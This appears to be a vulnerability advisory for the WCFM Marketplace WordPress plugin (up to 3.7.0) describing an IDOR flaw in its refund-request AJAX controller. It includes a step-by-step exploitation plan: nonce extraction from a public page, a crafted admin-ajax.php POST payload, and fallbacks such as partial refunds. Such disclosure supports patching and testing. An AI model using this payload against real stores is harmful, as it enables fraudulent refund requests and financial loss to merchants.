WCFM Marketplace <= 3.7.0 - Insecure Direct Object Reference to Unauthenticated Arbitrary Refund Request Creation
Description
The WCFM Marketplace – Multivendor Marketplace for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.7.0. This is due to the plugin not implementing authorization checks in the `wcfm-refund-requests-form` AJAX controller. This makes it possible for unauthenticated attackers to create arbitrary refund requests for any order ID and item ID, potentially leading to financial loss if automatic refund approval is enabled in the plugin settings.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.7.0What Changed in the Fix
Changes introduced in v3.7.1
Source Code
WordPress.org SVN### 1. Vulnerability Summary The WCFM Marketplace plugin (up to version 3.7.0) contains an Insecure Direct Object Reference (IDOR) vulnerability due to missing authorization checks in the `wcfm-refund-requests-form` AJAX controller. The plugin exposes a central AJAX routing mechanism through the `wc…
Show full research plan
1. Vulnerability Summary
The WCFM Marketplace plugin (up to version 3.7.0) contains an Insecure Direct Object Reference (IDOR) vulnerability due to missing authorization checks in the wcfm-refund-requests-form AJAX controller. The plugin exposes a central AJAX routing mechanism through the wcfm_ajax_controller action. When the controller parameter is set to wcfm-refund-requests-form, the logic in controllers/refund/wcfmmp-controller-refund-requests-form.php is executed.
This controller fails to verify if the current user has permissions to request a refund for a specific order or item. Furthermore, if the wp_ajax_nopriv_wcfm_ajax_controller hook is enabled (standard in WCFM for certain frontend features), unauthenticated attackers can create arbitrary refund requests by providing a valid order ID and item ID.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wcfm_ajax_controller(triggered viawp_ajax_orwp_ajax_nopriv_) - Vulnerable Controller:
wcfm-refund-requests-form - Payload Parameter:
wcfm_refund_requests_form(a URL-encoded string of form data parsed viaparse_str) - Authentication: Unauthenticated (if
noprivis active) or Subscriber-level. - Preconditions:
- A valid
order_id(WooCommerce Order). - A valid
item_id(WooCommerce Line Item ID) associated with that order. - A valid
wcfm_ajax_nonce.
- A valid
3. Code Flow
- Entry Point: The request hits
admin-ajax.phpwithaction=wcfm_ajax_controllerandcontroller=wcfm-refund-requests-form. - Routing: The plugin includes
controllers/refund/wcfmmp-controller-refund-requests-form.phpand instantiatesWCFMmp_Refund_Requests_Form_Controller. - Parsing: The constructor calls
processing(). The function usesparse_str($_POST['wcfm_refund_requests_form'], $wcfm_refund_tab_form_data)to extract parameters. - Parameter Extraction:
$order_id = absint( $wcfm_refund_tab_form_data['wcfm_refund_order_id'] );$wcfm_refund_inputs = wc_clean( $wcfm_refund_tab_form_data['wcfm_refund_input'] );
- Logic:
- It iterates through
$wcfm_refund_inputsto find the line item ID:$refund_item_id = absint( $wcfm_refund_input['item'] );. - It retrieves the product and vendor ID:
$vendor_id = wcfm_get_vendor_id_by_post( $product_id );. - It fetches the commission ID from the database using
$wpdb->prefix . 'wcfm_marketplace_orders'.
- It iterates through
- Sink: It calls
$WCFMmp->wcfmmp_refund->wcfmmp_refund_processed(...), which inserts a refund request into the marketplace refund table without verifying if the requester is the owner of the order or a legitimate vendor/admin.
4. Nonce Acquisition Strategy
The wcfm_ajax_nonce is required. WCFM enqueues this nonce in the wcfm_params JavaScript object on pages where marketplace functionality is loaded.
- Identify Target Page: The WCFM Store List or an individual Store page usually loads the necessary scripts.
- Shortcode Setup: Create a page with the store list shortcode to ensure the script is enqueued.
wp post create --post_type=page --post_status=publish --post_title="Stores" --post_content='[wcfmmp_store_list]'
- Extraction:
- Navigate to the newly created
/storespage. - Use
browser_evalto extract the nonce. - JS Variable:
window.wcfm_params?.wcfm_ajax_nonceorwindow.wcfm_dashboard_messages?.wcfm_ajax_nonce.
- Navigate to the newly created
5. Exploitation Strategy
The exploit involves sending a crafted POST request to the AJAX endpoint.
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
action:wcfm_ajax_controllercontroller:wcfm-refund-requests-formwcfm_ajax_nonce:[EXTRACTED_NONCE]wcfm_refund_requests_form: A URL-encoded string containing:wcfm_refund_reason=Unsatisfied+with+servicewcfm_refund_order_id=[ORDER_ID]wcfm_refund_request=fullwcfm_refund_input[0][item]=[ITEM_ID]
Payload Construction Example:
action=wcfm_ajax_controller&controller=wcfm-refund-requests-form&wcfm_ajax_nonce=abc123def4&wcfm_refund_requests_form=wcfm_refund_reason%3DExploit%26wcfm_refund_order_id%3D10%26wcfm_refund_request%3Dfull%26wcfm_refund_input%5B0%5D%5Bitem%5D%3D5
6. Test Data Setup
- Plugins: Ensure
woocommerceandwc-multivendor-marketplace(<= 3.7.0) are active. - Users:
- Create a Vendor user.
- Create a Customer user.
- Product: Create a product and assign it to the Vendor.
- Order: As the Customer, purchase the product.
- IDs:
- Get the Order ID:
wp post list --post_type=shop_order --format=ids - Get the Line Item ID: Use
wp db query "SELECT order_item_id FROM wp_woocommerce_order_items WHERE order_id = [ORDER_ID] LIMIT 1;"
- Get the Order ID:
- Public Page: Create a page with
[wcfmmp_store_list]to leak the nonce.
7. Expected Results
- The server should respond with a JSON object containing
"status": true. - A new entry should appear in the WCFM refund requests table.
- If the plugin is configured for automatic refunds, the order status might change to 'refunded', or a notification will be sent to the admin/vendor.
8. Verification Steps
- Check Database:
Verify that thewp db query "SELECT * FROM wp_wcfm_marketplace_refund_requests ORDER BY ID DESC LIMIT 1;"order_idanditem_idmatch the exploited values. - Check Order Notes:
Look for notes regarding a new refund request.wp post cache get [ORDER_ID] --post_type=shop_order # Or check comments/notes wp comment list --post_id=[ORDER_ID]
9. Alternative Approaches
If wcfm_ajax_nonce is not found in wcfm_params, search for other localized objects:
wcfm_dashboard_messageswcfm_core_params- If
fullrefund fails due to tax validation, try apartialrefund:- Append
&wcfm_refund_input[0][qty]=1&wcfm_refund_input[0][total]=0.01to thewcfm_refund_requests_formstring.
- Append
- Check if the
wcfm_refund_tax_inputparameter is required if taxes are enabled on the site.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.